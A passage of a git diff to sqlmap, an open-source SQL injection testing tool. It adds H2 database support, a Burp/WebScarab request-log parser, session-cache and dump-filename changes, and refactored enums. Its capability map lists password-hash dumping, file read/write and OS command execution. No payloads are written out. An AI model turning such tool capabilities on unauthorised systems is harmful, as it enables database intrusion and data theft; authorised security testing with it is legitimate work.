incrementCounter(technique): def getCounter(technique): """ Returns query counter for a given technique + + >>> resetCounter(PAYLOAD.TECHNIQUE.STACKED); incrementCounter(PAYLOAD.TECHNIQUE.STACKED); getCounter(PAYLOAD.TECHNIQUE.STACKED) + 1 """ return kb.counters.get(technique, 0) @@ -4180,13 +4289,13 @@ def _(value): retVal = retVal.decode("utf-16-le") except UnicodeDecodeError: pass - elif Backend.isDbms(DBMS.HSQLDB): + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2): try: retVal = retVal.decode("utf-16-be") except UnicodeDecodeError: pass if not isinstance(retVal, unicode): - retVal = getUnicode(retVal, "utf8") + retVal = getUnicode(retVal, conf.encoding or "utf8") return retVal @@ -4219,9 +4328,11 @@ def extractExpectedValue(value, expected): value = value.strip().lower() if value in ("true", "false"): value = value == "true" + elif value in ('t', 'f'): + value = value == 't' elif value in ("1", "-1"): value = True - elif value == "0": + elif value == '0': value = False else: value = None @@ -4236,19 +4347,23 @@ def hashDBWrite(key, value, serialize=False): Helper function for writing session data to HashDB """ - _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) - conf.hashDB.write(_, value, serialize) + if conf.hashDB: + _ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + conf.hashDB.write(_, value, serialize) def hashDBRetrieve(key, unserialize=False, checkConf=False): """ Helper function for restoring session data from HashDB """ - _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) - retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None + retVal = None + + if conf.hashDB: + _ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None - if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): - retVal = None + if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): + retVal = None return retVal @@ -4296,7 +4411,7 @@ def resetCookieJar(cookieJar): except cookielib.LoadError, msg: errMsg = "there was a problem loading " - errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", "\g<1>", str(msg)) + errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", str(msg)) raise SqlmapGenericException(errMsg) def decloakToTemp(filename): @@ -4328,7 +4443,9 @@ def prioritySortColumns(columns): ['userid', 'name', 'password'] """ - _ = lambda x: x and "id" in x.lower() + def _(column): + return column and "id" in column.lower() + return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0) def getRequestHeader(request, name): @@ -4340,7 +4457,7 @@ def getRequestHeader(request, name): retVal = None - if request and name: + if request and request.headers and name: _ = name.upper() retVal = max(value if _ == key.upper() else None for key, value in request.header_items()) @@ -4369,6 +4486,9 @@ def zeroDepthSearch(expression, value): """ Searches occurrences of value inside expression at 0-depth level regarding the parentheses + + >>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:] + 'FROM DUAL' """ retVal = [] @@ -4404,7 +4524,7 @@ def pollProcess(process, suppress_errors=False): Checks for process status (prints . if still running) """ - while True: + while process: dataToStdout(".") time.sleep(1) @@ -4421,6 +4541,195 @@ def pollProcess(process, suppress_errors=False): break +def parseRequestFile(reqFile, checkParams=True): + """ + Parses WebScarab and Burp logs and adds results to the target URL list + """ + + def _parseWebScarabLog(content): + """ + Parses WebScarab logs (POST method not supported) + """ + + reqResList = content.split(WEBSCARAB_SPLITTER) + + for request in reqResList: + url = extractRegexResult(r"URL: (?P.+?)\n", request, re.I) + method = extractRegexResult(r"METHOD: (?P.+?)\n", request, re.I) + cookie = extractRegexResult(r"COOKIE: (?P.+?)\n", request, re.I) + + if not method or not url: + logger.debug("not a valid WebScarab log data") + continue + + if method.upper() == HTTPMETHOD.POST: + warnMsg = "POST requests from WebScarab logs aren't supported " + warnMsg += "as their body content is stored in separate files. " + warnMsg += "Nevertheless you can use -r to load them individually." + logger.warning(warnMsg) + continue + + if not(conf.scope and not re.search(conf.scope, url, re.I)): + yield (url, method, None, cookie, tuple()) + + def _parseBurpLog(content): + """ + Parses Burp logs + """ + + if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): + if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): + reqResList = [] + for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): + port, request = match.groups() + try: + request = request.decode("base64") + except binascii.Error: + continue + _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) + if _: + host = _.group(0).strip() + if not re.search(r":\d+\Z", host): + request = request.replace(host, "%s:%d" % (host, int(port))) + reqResList.append(request) + else: + reqResList = [content] + else: + reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) + + for match in reqResList: + request = match if isinstance(match, basestring) else match.group(0) + request = re.sub(r"\A[^\w]+", "", request) + + schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) + + if schemePort: + scheme = schemePort.group(1) + port = schemePort.group(2) + request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip()) + else: + scheme, port = None, None + + if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M): + continue + + if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): + continue + + getPostReq = False + url = None + host = None + method = None + data = None + cookie = None + params = False + newline = None + lines = request.split('\n') + headers = [] + + for index in xrange(len(lines)): + line = lines[index] + + if not line.strip() and index == len(lines) - 1: + break + + newline = "\r\n" if line.endswith('\r') else '\n' + line = line.strip('\r') + match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None + + if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None: + data = "" + params = True + + elif match: + method = match.group(1) + url = match.group(2) + + if any(_ in line for _ in ('?', '=', kb.customInjectionMark)): + params = True + + getPostReq = True + + # POST parameters + elif data is not None and params: + data += "%s%s" % (line, newline) + + # GET parameters + elif "?" in line and "=" in line and ": " not in line: + params = True + + # Headers + elif re.search(r"\A\S+:", line): + key, value = line.split(":", 1) + value = value.strip().replace("\r", "").replace("\n", "") + + # Cookie and Host headers + if key.upper() == HTTP_HEADER.COOKIE.upper(): + cookie = value + elif key.upper() == HTTP_HEADER.HOST.upper(): + if '://' in value: + scheme, value = value.split('://')[:2] + splitValue = value.split(":") + host = splitValue[0] + + if len(splitValue) > 1: + port = filterStringValue(splitValue[1], "[0-9]") + + # Avoid to add a static content length header to + # headers and consider the following lines as + # POSTed data + if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): + params = True + + # Avoid proxy and connection type related headers + elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): + headers.append((getUnicode(key), getUnicode(value))) + + if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): + params = True + + data = data.rstrip("\r\n") if data else data + + if getPostReq and (params or cookie or not checkParams): + if not port and isinstance(scheme, basestring) and scheme.lower() == "https": + port = "443" + elif not scheme and port == "443": + scheme = "https" + + if conf.forceSSL: + scheme = "https" + port = port or "443" + + if not host: + errMsg = "invalid format of a request file" + raise SqlmapSyntaxException(errMsg) + + if not url.startswith("http"): + url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) + scheme = None + port = None + + if not(conf.scope and not re.search(conf.scope, url, re.I)): + yield (url, conf.method or method, data, cookie, tuple(headers)) + + checkFile(reqFile) + try: + with openFile(reqFile, "rb") as f: + content = f.read() + except (IOError, OSError, MemoryError), ex: + errMsg = "something went wrong while trying " + errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex)) + raise SqlmapSystemException(errMsg) + + if conf.scope: + logger.info("using regular expression '%s' for filtering targets" % conf.scope) + + for target in _parseBurpLog(content): + yield target + + for target in _parseWebScarabLog(content): + yield target + def getSafeExString(ex, encoding=None): """ Safe way how to get the proper exception represtation as a string @@ -4436,11 +4745,44 @@ def getSafeExString(ex, encoding=None): retVal = ex.message elif getattr(ex, "msg", None): retVal = ex.msg + elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring): + retVal = ex[1] return getUnicode(retVal or "", encoding=encoding).strip() def safeVariableNaming(value): + """ + Returns escaped safe-representation of a given variable name that can be used in Python evaluated code + + >>> safeVariableNaming("foo bar") + 'foo__SAFE__20bar' + """ + return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value) def unsafeVariableNaming(value): + """ + Returns unescaped safe-representation of a given variable name + + >>> unsafeVariableNaming("foo__SAFE__20bar") + 'foo bar' + """ + return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value) + +def firstNotNone(*args): + """ + Returns first not-None value from a given list of arguments + + >>> firstNotNone(None, None, 1, 2, 3) + 1 + """ + + retVal = None + + for _ in args: + if _ is not None: + retVal = _ + break + + return retVal diff --git a/lib/core/convert.py b/lib/core/convert.py index 5a5701c23d1..e931d81ecee 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -80,7 +80,7 @@ def _(self): if len(self.stack) > 1: func = self.stack[-2] if func not in PICKLE_REDUCE_WHITELIST: - raise Exception, "abusing reduce() is bad, Mkay!" + raise Exception("abusing reduce() is bad, Mkay!") self.load_reduce() def loads(str): @@ -94,7 +94,7 @@ def loads(str): try: retVal = loads(base64decode(value)) - except TypeError: + except TypeError: retVal = loads(base64decode(bytes(value))) return retVal @@ -174,7 +174,7 @@ def htmlunescape(value): pass return retVal -def singleTimeWarnMessage(message): # Cross-linked function +def singleTimeWarnMessage(message): # Cross-referenced function sys.stdout.write(message) sys.stdout.write("\n") sys.stdout.flush() diff --git a/lib/core/data.py b/lib/core/data.py index 63cd4e8d971..3a56c7fb4c5 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 85238cd06f6..079222d1aa8 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/decorators.py b/lib/core/decorators.py index c4040f26720..3ceaa55c917 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,12 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import functools import hashlib +from lib.core.threads import getCurrentThreadData + def cachedmethod(f, cache={}): """ Method with a cached content @@ -14,11 +17,32 @@ def cachedmethod(f, cache={}): Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ """ + @functools.wraps(f) def _(*args, **kwargs): - key = int(hashlib.md5("".join(str(_) for _ in (f, args, kwargs))).hexdigest()[:8], 16) + key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff if key not in cache: cache[key] = f(*args, **kwargs) return cache[key] return _ + +def stackedmethod(f): + """ + Method using pushValue/popValue functions (fallback function for stack realignment) + """ + + @functools.wraps(f) + def _(*args, **kwargs): + threadData = getCurrentThreadData() + originalLevel = len(threadData.valueStack) + + try: + result = f(*args, **kwargs) + finally: + if len(threadData.valueStack) > originalLevel: + threadData.valueStack = threadData.valueStack[:originalLevel] + + return result + + return _ diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 209e0999e62..95a7f3ff421 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,27 +1,27 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict _defaults = { - "csvDel": ',', - "timeSec": 5, - "googlePage": 1, - "verbose": 1, - "delay": 0, - "timeout": 30, - "retries": 3, - "saFreq": 0, - "threads": 1, - "level": 1, - "risk": 1, - "dumpFormat": "CSV", - "tech": "BEUSTQ", - "torType": "SOCKS5", + "csvDel": ',', + "timeSec": 5, + "googlePage": 1, + "verbose": 1, + "delay": 0, + "timeout": 30, + "retries": 3, + "saFreq": 0, + "threads": 1, + "level": 1, + "risk": 1, + "dumpFormat": "CSV", + "tech": "BEUSTQ", + "torType": "SOCKS5", } defaults = AttribDict(_defaults) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index d999fb07229..e80f3d9a033 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.enums import CONTENT_TYPE from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import POST_HINT @@ -21,6 +22,7 @@ from lib.core.settings import SYBASE_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import HSQLDB_ALIASES +from lib.core.settings import H2_ALIASES from lib.core.settings import INFORMIX_ALIASES FIREBIRD_TYPES = { @@ -194,6 +196,7 @@ DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), + DBMS.H2: (H2_ALIASES, None, None, None), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), } @@ -208,54 +211,64 @@ } SQL_STATEMENTS = { - "SQL SELECT statement": ( - "select ", - "show ", - " top ", - " distinct ", - " from ", - " from dual", - " where ", - " group by ", - " order by ", - " having ", - " limit ", - " offset ", - " union all ", - " rownum as ", - "(case ", ), + "SQL SELECT statement": ( + "select ", + "show ", + " top ", + " distinct ", + " from ", + " from dual", + " where ", + " group by ", + " order by ", + " having ", + " limit ", + " offset ", + " union all ", + " rownum as ", + "(case ", + ), - "SQL data definition": ( + "SQL data definition": ( "create ", "declare ", "drop ", "truncate ", - "alter ", ), + "alter ", + ), "SQL data manipulation": ( - "bulk ", - "insert ", - "update ", - "delete ", - "merge ", - "load ", ), + "bulk ", + "insert ", + "update ", + "delete ", + "merge ", + "load ", + ), - "SQL data control": ( - "grant ", - "revoke ", ), + "SQL data control": ( + "grant ", + "revoke ", + ), - "SQL data execution": ( - "exec ", - "execute ", - "values ", - "call ", ), + "SQL data execution": ( + "exec ", + "execute ", + "values ", + "call ", + ), - "SQL transaction": ( - "start transaction ", - "begin work ", - "begin transaction ", - "commit ", - "rollback ", ), + "SQL transaction": ( + "start transaction ", + "begin work ", + "begin transaction ", + "commit ", + "rollback ", + ), + + "SQL administration": ( + "set ", + ), } POST_HINT_CONTENT_TYPES = { @@ -273,6 +286,8 @@ "--binary": "use '--binary-fields' instead", "--auth-private": "use '--auth-file' instead", "--ignore-401": "use '--ignore-code' instead", + "--second-order": "use '--second-url' instead", + "--purge-output": "use '--purge' instead", "--check-payload": None, "--check-waf": None, "--pickled-options": "use '--api -c ...' instead", @@ -287,3 +302,31 @@ OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout } + +PART_RUN_CONTENT_TYPES = { + "checkDbms": CONTENT_TYPE.TECHNIQUES, + "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT, + "getBanner": CONTENT_TYPE.BANNER, + "getCurrentUser": CONTENT_TYPE.CURRENT_USER, + "getCurrentDb": CONTENT_TYPE.CURRENT_DB, + "getHostname": CONTENT_TYPE.HOSTNAME, + "isDba": CONTENT_TYPE.IS_DBA, + "getUsers": CONTENT_TYPE.USERS, + "getPasswordHashes": CONTENT_TYPE.PASSWORDS, + "getPrivileges": CONTENT_TYPE.PRIVILEGES, + "getRoles": CONTENT_TYPE.ROLES, + "getDbs": CONTENT_TYPE.DBS, + "getTables": CONTENT_TYPE.TABLES, + "getColumns": CONTENT_TYPE.COLUMNS, + "getSchema": CONTENT_TYPE.SCHEMA, + "getCount": CONTENT_TYPE.COUNT, + "dumpTable": CONTENT_TYPE.DUMP_TABLE, + "search": CONTENT_TYPE.SEARCH, + "sqlQuery": CONTENT_TYPE.SQL_QUERY, + "tableExists": CONTENT_TYPE.COMMON_TABLES, + "columnExists": CONTENT_TYPE.COMMON_COLUMNS, + "readFile": CONTENT_TYPE.FILE_READ, + "writeFile": CONTENT_TYPE.FILE_WRITE, + "osCmd": CONTENT_TYPE.OS_CMD, + "regRead": CONTENT_TYPE.REG_READ +} diff --git a/lib/core/dump.py b/lib/core/dump.py index 7a7928dbe85..6aff9345702 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -46,6 +46,8 @@ from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import UNICODE_ENCODING +from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT +from lib.core.settings import VERSION_STRING from lib.core.settings import WINDOWS_RESERVED_NAMES from thirdparty.magic import magic @@ -169,7 +171,7 @@ def currentUser(self, data): def currentDb(self, data): if Backend.isDbms(DBMS.MAXDB): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) @@ -414,16 +416,16 @@ def dbTableValues(self, tableValues): elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if not os.path.isdir(dumpDbPath): try: - os.makedirs(dumpDbPath, 0755) + os.makedirs(dumpDbPath) except: warnFile = True - _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db))) + _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))) dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8])) if not os.path.isdir(dumpDbPath): try: - os.makedirs(dumpDbPath, 0755) + os.makedirs(dumpDbPath) except Exception, ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmapdb") @@ -441,7 +443,7 @@ def dbTableValues(self, tableValues): dumpDbPath = tempDir - dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())) + dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) if not checkFile(dumpFileName, False): try: openFile(dumpFileName, "w+b").close() @@ -450,9 +452,9 @@ def dbTableValues(self, tableValues): except: warnFile = True - _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table))) + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table))) if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: - _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table))) + _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))) dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower())) else: dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) @@ -531,6 +533,7 @@ def dbTableValues(self, tableValues): elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n") dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) + dataToDumpFile(dumpFP, "\n" % VERSION_STRING) dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n\n\n\n\n\n") @@ -611,9 +614,9 @@ def dbTableValues(self, tableValues): mimetype = magic.from_buffer(value, mime=True) if any(mimetype.startswith(_) for _ in ("application", "image")): if not os.path.isdir(dumpDbPath): - os.makedirs(dumpDbPath, 0755) + os.makedirs(dumpDbPath) - _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(column))) + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) logger.warn(warnMsg) diff --git a/lib/core/enums.py b/lib/core/enums.py index 849a6b314a1..fe5706a5512 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -22,6 +22,15 @@ class SORT_ORDER: FIFTH = 4 LAST = 100 +# Reference: https://docs.python.org/2/library/logging.html#logging-levels +class LOGGING_LEVELS: + NOTSET = 0 + DEBUG = 10 + INFO = 20 + WARNING = 30 + ERROR = 40 + CRITICAL = 50 + class DBMS: ACCESS = "Microsoft Access" DB2 = "IBM DB2" @@ -34,6 +43,7 @@ class DBMS: SQLITE = "SQLite" SYBASE = "Sybase" HSQLDB = "HSQLDB" + H2 = "H2" INFORMIX = "Informix" class DBMS_DIRECTORY_NAME: @@ -48,6 +58,7 @@ class DBMS_DIRECTORY_NAME: SQLITE = "sqlite" SYBASE = "sybase" HSQLDB = "hsqldb" + H2 = "h2" INFORMIX = "informix" class CUSTOM_LOGGING: @@ -233,40 +244,42 @@ class REDIRECTION: class PAYLOAD: SQLINJECTION = { - 1: "boolean-based blind", - 2: "error-based", - 3: "inline query", - 4: "stacked queries", - 5: "AND/OR time-based blind", - 6: "UNION query", - } + 1: "boolean-based blind", + 2: "error-based", + 3: "inline query", + 4: "stacked queries", + 5: "AND/OR time-based blind", + 6: "UNION query", + } PARAMETER = { - 1: "Unescaped numeric", - 2: "Single quoted string", - 3: "LIKE single quoted string", - 4: "Double quoted string", - 5: "LIKE double quoted string", - } + 1: "Unescaped numeric", + 2: "Single quoted string", + 3: "LIKE single quoted string", + 4: "Double quoted string", + 5: "LIKE double quoted string", + 6: "Identifier (e.g. column name)", + } RISK = { - 0: "No risk", - 1: "Low risk", - 2: "Medium risk", - 3: "High risk", - } + 0: "No risk", + 1: "Low risk", + 2: "Medium risk", + 3: "High risk", + } CLAUSE = { - 0: "Always", - 1: "WHERE", - 2: "GROUP BY", - 3: "ORDER BY", - 4: "LIMIT", - 5: "OFFSET", - 6: "TOP", - 7: "Table name", - 8: "Column name", - } + 0: "Always", + 1: "WHERE", + 2: "GROUP BY", + 3: "ORDER BY", + 4: "LIMIT", + 5: "OFFSET", + 6: "TOP", + 7: "Table name", + 8: "Column name", + 9: "Pre-WHERE (non-query)", + } class METHOD: COMPARISON = "comparison" @@ -297,7 +310,7 @@ class ADJUST_TIME_DELAY: NO = 0 YES = 1 -class WEB_API: +class WEB_PLATFORM: PHP = "php" ASP = "asp" ASPX = "aspx" @@ -331,34 +344,6 @@ class CONTENT_TYPE: OS_CMD = 24 REG_READ = 25 -PART_RUN_CONTENT_TYPES = { - "checkDbms": CONTENT_TYPE.TECHNIQUES, - "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT, - "getBanner": CONTENT_TYPE.BANNER, - "getCurrentUser": CONTENT_TYPE.CURRENT_USER, - "getCurrentDb": CONTENT_TYPE.CURRENT_DB, - "getHostname": CONTENT_TYPE.HOSTNAME, - "isDba": CONTENT_TYPE.IS_DBA, - "getUsers": CONTENT_TYPE.USERS, - "getPasswordHashes": CONTENT_TYPE.PASSWORDS, - "getPrivileges": CONTENT_TYPE.PRIVILEGES, - "getRoles": CONTENT_TYPE.ROLES, - "getDbs": CONTENT_TYPE.DBS, - "getTables": CONTENT_TYPE.TABLES, - "getColumns": CONTENT_TYPE.COLUMNS, - "getSchema": CONTENT_TYPE.SCHEMA, - "getCount": CONTENT_TYPE.COUNT, - "dumpTable": CONTENT_TYPE.DUMP_TABLE, - "search": CONTENT_TYPE.SEARCH, - "sqlQuery": CONTENT_TYPE.SQL_QUERY, - "tableExists": CONTENT_TYPE.COMMON_TABLES, - "columnExists": CONTENT_TYPE.COMMON_COLUMNS, - "readFile": CONTENT_TYPE.FILE_READ, - "writeFile": CONTENT_TYPE.FILE_WRITE, - "osCmd": CONTENT_TYPE.OS_CMD, - "regRead": CONTENT_TYPE.REG_READ -} - class CONTENT_STATUS: IN_PROGRESS = 0 COMPLETE = 1 @@ -373,6 +358,7 @@ class AUTOCOMPLETE_TYPE: SQL = 0 OS = 1 SQLMAP = 2 + API = 3 class NOTE: FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable" @@ -392,3 +378,7 @@ class TIMEOUT_STATE: NORMAL = 0 EXCEPTION = 1 TIMEOUT = 2 + +class HINT: + PREPEND = 0 + APPEND = 1 \ No newline at end of file diff --git a/lib/core/exception.py b/lib/core/exception.py index 2113de86518..ad87adf6f8a 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/log.py b/lib/core/log.py index 6df49f584ef..096fdfd9053 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/option.py b/lib/core/option.py index be4c321b757..27b63e81f30 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,16 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import binascii import cookielib import glob import inspect import logging -import httplib import os import random import re @@ -37,19 +35,16 @@ from lib.core.common import dataToStdout from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString -from lib.core.common import extractRegexResult -from lib.core.common import filterStringValue from lib.core.common import findLocalPort from lib.core.common import findPageForms from lib.core.common import getConsoleWidth from lib.core.common import getFileItems from lib.core.common import getFileType -from lib.core.common import getUnicode from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import openFile +from lib.core.common import parseRequestFile from lib.core.common import parseTargetDirect -from lib.core.common import parseTargetUrl from lib.core.common import paths from lib.core.common import randomStr from lib.core.common import readCachedFileContent @@ -58,6 +53,7 @@ from lib.core.common import runningAsAdmin from lib.core.common import 